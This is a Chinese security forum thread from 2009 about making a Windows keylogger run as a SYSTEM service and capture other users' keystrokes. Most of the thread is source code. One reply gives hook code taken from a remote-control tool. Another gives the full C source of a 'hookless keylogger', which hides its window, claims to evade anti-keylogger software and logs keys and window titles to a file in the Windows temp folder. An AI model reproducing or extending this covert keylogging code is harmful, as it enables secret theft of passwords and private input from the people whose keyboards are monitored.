首页
社区
课程
招聘
[求助]关于system权限下的键盘记录,源代码+提问
发表于: 2009-10-21 14:56 12790

[求助]关于system权限下的键盘记录,源代码+提问

2009-10-21 14:56
12790
下面的源代码是键盘记录,这个程序直接在用户模式下加载
但当我把这种键盘记录做成windows系统服务时,就不行了,表现SetWindowsHookEx执行成功,但记录不了键盘,SetWindowsHookEx没有对administrator用户起作用
根据我的分析,windows系统服务是以system32用户启动,用户使用administrator启动,这两个用户在不同的会话中,而SetWindowsHookEx只对当前用户会话生效,对其它用户会话无效,
于是我就对进程的用户空间进行切换,使用SetWindowsHookEx切换winsta0后,键盘记录还是对administrator无效
切换到OpenInputDesktop还是无效,我就郁闷了,同样,我做的抓屏软件,抓不到winlogon界面,咋回事,忘牛人指点一下,讲解一下windows会话原理以及编程方法

另外,我写的system权限下的键盘记录源代码弄丢了,正打算重写个,所以这里就只发一个一般用户模式下的键盘记录源代码了

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (20)
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
没人,自己顶个
2009-10-21 15:02
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
看不懂
勾子只对用户gui程序有效 与权限好象没什么关系。
2009-10-21 15:06
0
雪    币: 300
活跃值: (179)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
4
键盘、鼠标、桌面。各个会话空间是不一样的。就是说system不能直接操作administrator的键盘、鼠标、桌面等等和会话相关的一些东西。在XP下微软也提供了一些不同会话之间交互的机制。在VISTA下就是绝对不行的。最好的例子就是shutdown -s ,在XP下是由winlogon弹出对话框,在VISTA下是另外一个用户进程弹出的。具体的切换办法,你看哈gh0st3.6的源代码,完全符合你要求...............
2009-10-21 15:12
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
厉害,领教了!
2009-10-21 15:19
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
我看了,把源源代码直接弄过来,居然还是不行,
2009-10-21 15:31
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
7
我使用的是SetWindowsHookEx函数
2009-10-21 15:33
0
雪    币: 70
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
需要切换桌面
2009-10-21 15:42
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
9
楼上说得太复杂了,将你的服务设为可交互就可以了
2009-10-21 15:48
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
一针见血啊 ! 牛
2009-10-21 15:49
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
11
服务设为可交互,不行吧,我的服务本身就是可交互的
2009-10-21 15:58
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
12
可交互加独立的
2009-10-21 16:14
0
雪    币: 351
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
看看,最近也在弄这个。。。
2009-10-21 16:19
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
小弟也遇到类似的问题,目前还是没办法解决,望高手指点。><
2009-10-26 11:06
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
可交互加独立的??
是在哪定义的?
2009-10-27 21:43
0
雪    币: 222
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
谢谢 不管怎么样先收了。。。
2009-10-28 10:43
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
不知道是否有人能解决这个问题,并且来个详细解说就更好了,
到目前为止,我的这问题还是没有解决,急呀...救火啦....
2009-10-29 16:21
0
雪    币: 254
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
以小弟的经验,在Vista以下版本的OS中,System权限的进程,只要SetWindowsHookEx全局的钩子,还是可以的,当然前提是你要切换到SetThreadDesktop( OpenInputDesktop(...) );但SetWindowsHookEx局部钩子,好像确实会ERROR_ACCESS_DENIED。下面一段代码是我曾经用在远控中的,希望对你有帮助:
DWORD WINAPI KeyRecThread( LPVOID p )
{
        GetDesktopWindow();

        HWINSTA hWinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED);
        SetProcessWindowStation(hWinstaUser);

        HDESK hInputDesk = OpenDesktop( "Default", 0, 0, MAXIMUM_ALLOWED );

        if (hInputDesk == NULL)
        {
                return TRUE;
        }
        BOOL bRet = SetThreadDesktop( hInputDesk);
        CloseDesktop( hInputDesk );

        g_hRecHook = SetWindowsHookEx( WH_KEYBOARD_LL, MySysProc, GetModuleHandle(0), 0);
        MSG msg;
        while( GetMessage( &msg, NULL, 0, 0 ) )
        {
                //Wnd和Hook是线程相关的,因此安装的线程不能终止。
        }

        UnhookWindowsHookEx( g_hRecHook );

        return 0;
}
2009-10-29 18:37
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
19
你的钩子是,WH_KEYBOARD_LL,我的钩子是WH_GETMESSAGE,我去试试看成不,还有一个问题是,我的程序没有界面,只是一个系统服务,不知道这点是否有影响
我做过这样的测试,用工具把我的键盘记录测试工具运行在system权限,发现,能记录成功,
但做到我的系统服务里面(无界面)就不成了
2009-10-30 09:54
0
雪    币: 224
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
20
system权限下的键盘记录源码,有个问题没有解决::只能抓控制台登录,无法抓取3389登录用户的键盘记录:
我就是在svchost服务里面测试成功了.

文章参考:http://blog.csdn.net/hellothere/archive/2009/07/07/4329360.aspx

//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Usage Of System Resource; May Not Work On Win9x
// Advantage: Hookless Technique Fools Anti-Keylogger Programs
//**********************************************************************

//问题:只能抓控制台登录,无法抓取3389登录用户的键盘记录:

#include <windows.h>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) //隐藏CMD 窗口
// Some Global Variables

// Lower Case Key & Some Other Keys
char *LowerCase[]={
  "b",
  "e",
  "[ESC]",
  "[F1]",
  "[F2]",
  "[F3]",
  "[F4]",
  "[F5]",
  "[F6]",
  "[F7]",
  "[F8]",
  "[F9]",
  "[F10]",
  "[F11]",
  "[F12]",
  "`",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  "0",
  "-",
  "=",
  "[TAB]",
  "q",
  "w",
  "e",
  "r",
  "t",
  "y",
  "u",
  "i",
  "o",
  "p",
  "[",
  "]",
  "a",
  "s",
  "d",
  "f",
  "g",
  "h",
  "j",
  "k",
  "l",
  ";",
  "'",
  "z",
  "x",
  "c",
  "v",
  "b",
  "n",
  "m",
  ",",
  ".",
  "/",
  "\\",
  "[CTRL]",
  "[WIN]",
  " ",
  "[WIN]",
  "[Print Screen]",
  "[Scroll Lock]",
  "[Insert]",
  "[Home]",
  "[PageUp]",
  "[Del]",
  "[End]",
  "[PageDown]",
  "[Left]",
  "[UP]",
  "
",
  "[Down]",
  "[Num Lock]",
  "/",
  "*",
  "-",
  "+",
  "0",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  ".",
};

// Upper Case Key & Some Other Keys
char *UpperCase[]={
  "b",
  "e",
  "[ESC]",
  "[F1]",
  "[F2]",
  "[F3]",
  "[F4]",
  "[F5]",
  "[F6]",
  "[F7]",
  "[F8]",
  "[F9]",
  "[F10]",
  "[F11]",
  "[F12]",
  "~",
  "!",
  "@",
  "#",
  "\$",
  "%",
  "^",
  "&",
  "*",
  "(",
  ")",
  "_",
  "+",
  "[TAB]",
  "Q",
  "W",
  "E",
  "R",
  "T",
  "Y",
  "U",
  "I",
  "O",
  "P",
  "{",
  "}",
  "A",
  "S",
  "D",
  "F",
  "G",
  "H",
  "J",
  "K",
  "L",
  ":",
  "\"",
  "Z",
  "X",
  "C",
  "V",
  "B",
  "N",
  "M",
  "<",
  ">",
  ".?",
  "│",
  "[CTRL]",
  "[WIN]",
  " ",
  "[WIN]",
  "[Print Screen]",
  "[Scroll Lock]",
  "[Insert]",
  "[Home]",
  "[PageUp]",
  "[Del]",
  "[End]",
  "[PageDown]",
  "[Left]",
  "[Up]",
  "
",
  "[Down]",
  "[Num Lock]",
  "/",
  "*",
  "-",
  "+",
  "0",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  ".",
};

// Ascii Keys,Forget About It
int SpecialKeys[]={
  8,
  13,
  27,
  112,
  113,
  114,
  115,
  116,
  117,
  118,
  119,
  120,
  121,
  122,
  123,
  192,
  49,
  50,
  51,
  52,
  53,
  54,
  55,
  56,
  57,
  48,
  189,
  187,
  9,
  81,
  87,
  69,
  82,
  84,
  89,
  85,
  73,
  79,
  80,
  219,
  221,
  65,
  83,
  68,
  70,
  71,
  72,
  74,
  75,
  76,
  186,
  222,
  90,
  88,
  67,
  86,
  66,
  78,
  77,
  188,
  190,
  191,
  220,
  17,
  91,
  32,
  92,
  44,
  145,
  45,
  36,
  33,
  46,
  35,
  34,
  37,
  38,
  39,
  40,
  144,
  111,
  106,
  109,
  107,
  96,
  97,
  98,
  99,
  100,
  101,
  102,
  103,
  104,
  105,
  110,
};

HWND PreviousFocus=NULL;
// End Of Data

// Function ProtoType Declaration
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger1();
HANDLE InitLogFile(void);
//----------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main()
{
KeyLogger1();    // Run The Keylogger
return 0;    // The Program Quit
}
// End Of Main

//-------------------------------------------------------------------------
// Purpose: To Check The Active Windows Title
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow();    // Retrieve The Active Windows's Focus
BOOL ReturnFlag = FALSE;    // Declare The Return Flag
if (hFocus != PreviousFocus)   // The Active Windows Has Change
{
   PreviousFocus = hFocus;    // Save The Old Active Windos Focus
    int WinLeng = GetWindowTextLength(hFocus);   // Get The Active Windows's Caption's Length
   char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));   // Allocate Memory For The Caption
   GetWindowText(hFocus,WindowCaption,(WinLeng + 1));    // Retrieve The Active Windows's Caption
   if (strlen(WindowCaption) > 0)    // Really Get The Windows's Caption
   {
     printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);   // Display The Active Windows's Caption
     ReturnFlag=TRUE;   // Indicate The Windows's Focus Has Changed
   }
   free(WindowCaption);    // Free The Allocated Memory
}
return ReturnFlag;    // Return The Flag
}// End Of IsWindowsFocusChange Function

//-------------------------------------------------------------------------
// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL KeyLogger1()
{
int bKstate[256] = {0};    // Declare The Key State Array
int i,x;
char KeyBuffer[600];    // Key Buffer Array
int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift;   // Variable To Hode State Of Shift Key
DWORD                dwWritten = 0;
//将键盘记录写入日志文件
HANDLE hFile = InitLogFile();
// Reset The Buffer
memset(KeyBuffer,0,sizeof(KeyBuffer));
//下面是切换用户桌面操作:
GetDesktopWindow();

HWINSTA hWinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED);
SetProcessWindowStation(hWinstaUser);

HDESK hInputDesk = OpenDesktop( "Default", 0, 0, MAXIMUM_ALLOWED );

if (hInputDesk == NULL)
{
        return TRUE;
}
BOOL bRet = SetThreadDesktop( hInputDesk);
        CloseDesktop( hInputDesk );
while(TRUE)    // Forever Loop Is Taking Place Here
{
   Sleep(8);    // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
   if (IsWindowsFocusChange())    //Check The Active Windows Title
   {
     if (strlen(KeyBuffer) != 0)    // Keys Are Pressed
     {
       sprintf(KeyBuffer,"%s\r\n",KeyBuffer);      // Display The Keys Pressed
           SetFilePointer(hFile, 0, NULL, FILE_END);
                   WriteFile(hFile, KeyBuffer, (DWORD)strlen(KeyBuffer), &dwWritten, NULL);
       memset(KeyBuffer,0,sizeof(KeyBuffer));    // reset The Buffer
     }
   }

   for(i=0;i<92;i++)    // Looping To Check Visual Keys
   {
     shift = GetKeyState(VK_SHIFT);    // Check Whether Shift Is Pressed
     x = SpecialKeys[ i ];   // Match The Key
     if (GetAsyncKeyState(x) & 0x8000)    // Check Combination Keys
     {
       // See Whether CapsLocak Or Shift Is Pressed
      if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
      {
        bKstate[x] = 1;    //Uppercase Characters A-Z
      }
      else
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))    //Caps Lock And Shift Is Pressed
        {
          bKstate[x] = 2;    //Lowercase a-z
        }
        else
          if (shift < 0)   // Shift Is Pressed
          {
            bKstate[x] = 3;      //Uppercase Characters A-Z
          }
          else
              bKstate[x] = 4;     //Lowercase a-z
     }
     else
     {
       if (bKstate[x] != 0)    // No Combination Keys Detected
       {
         state = bKstate[x];   // Retrieve The Current State
         bKstate[x] = 0;    // Reset The Current State
         if (x == 8)    // Back Space Is Detected
         {
           KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
           continue;    // Start A New Loop
         }
         else
           if (strlen(KeyBuffer) > 550)   // Buffer FULL
           {
             sprintf(KeyBuffer,"%s\r\n",KeyBuffer);     // Display The Keys Retrieved
                         SetFilePointer(hFile, 0, NULL, FILE_END);
                       WriteFile(hFile, KeyBuffer, (DWORD)strlen(KeyBuffer), &dwWritten, NULL);
             memset(KeyBuffer,0,sizeof(KeyBuffer));    // Reset The Buffer
             continue;    // Start A New Loop
           }
           else
              if (x == 13)   // Enter Is Detected
             {
               if (strlen(KeyBuffer) == 0)    // No Other Keys Retrieved But Enter
               {
                 continue;    // Start A New Loop
               }
               sprintf(KeyBuffer,"%s\r\n",KeyBuffer);   // Retrieve Other Keys With Enter
                           SetFilePointer(hFile, 0, NULL, FILE_END);
                         WriteFile(hFile, KeyBuffer, (DWORD)strlen(KeyBuffer), &dwWritten, NULL);
                memset(KeyBuffer,0,sizeof(KeyBuffer));    // Display The Keys With Enter
                continue;   // Start A New Loop
             }
             else
                if ((state%2) == 1)    //Must Be Upper Case Characters
               {
                 strcat(KeyBuffer,UpperCase[ i ]);   // Store The Key To Key Buffer
               }
               else
                   if ((state%2) == 0)   // Must Be Lower Case Characters
                 {
                   strcat(KeyBuffer,LowerCase[ i ]);   // Store The Key To Key Buffer
                 }
       }
     }
   }// End Of For Loop
}// End Of While Loop
return TRUE;    // Return To The Caller
}// End Of KeyLogger Function

HANDLE InitLogFile(void)
{
    char path[MAX_PATH];
        //::GetTempPath(MAX_PATH,path);
        GetSystemWindowsDirectory(path,MAX_PATH); //获得系统安装目录,如:c:\windows
    strcat(path,"\\temp\\klog.txt"); //c:\windows\temp\klog.txt,日志文件保存位置
       
        HANDLE hFile = CreateFile((char*)path, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        return hFile;
}

// End Of File
2009-12-4 14:10
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
可以交互 独立的 设置模式
2009-12-4 18:46
0
游客
登录 | 注册 方可回帖
返回
//